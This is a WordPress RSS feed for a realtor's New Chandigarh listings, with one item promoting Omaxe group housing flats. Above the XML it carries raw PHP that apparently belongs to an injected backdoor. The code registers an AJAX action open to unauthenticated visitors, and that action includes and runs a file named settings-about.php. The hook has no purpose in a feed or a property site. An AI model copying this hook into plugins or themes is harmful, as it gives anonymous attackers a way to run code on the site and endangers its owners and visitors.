if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>New Chandigarh - Star Infrastructure</title>
	<atom:link href="https://www.starinfrastructure.com/city/new_chandigarh/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.starinfrastructure.com/city/new_chandigarh/</link>
	<description>The Realtors You Can Trust</description>
	<lastBuildDate>Mon, 26 Feb 2018 12:50:59 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>Omaxe</title>
		<link>https://www.starinfrastructure.com/featured_project/omaxe/</link>
		
		<dc:creator><![CDATA[Star_infra]]></dc:creator>
		<pubDate>Sat, 20 Jan 2018 05:40:42 +0000</pubDate>
				<guid isPermaLink="false">http://www.starinfrastructure.com/?post_type=featured_project&#038;p=359</guid>

					<description><![CDATA[<p>After the successful selling of Residential Plots and Floors in New chandigarh in Mullanpur, Omaxe has come up with another opportunity for you by introducing Omaxe Group Housing Flats in Omaxe New Chandigarh, which is...</p>
<p>The post <a href="https://www.starinfrastructure.com/featured_project/omaxe/">Omaxe</a> appeared first on <a href="https://www.starinfrastructure.com">Star Infrastructure</a>.</p>
]]></description>
		
		
		
			</item>
	</channel>
</rss>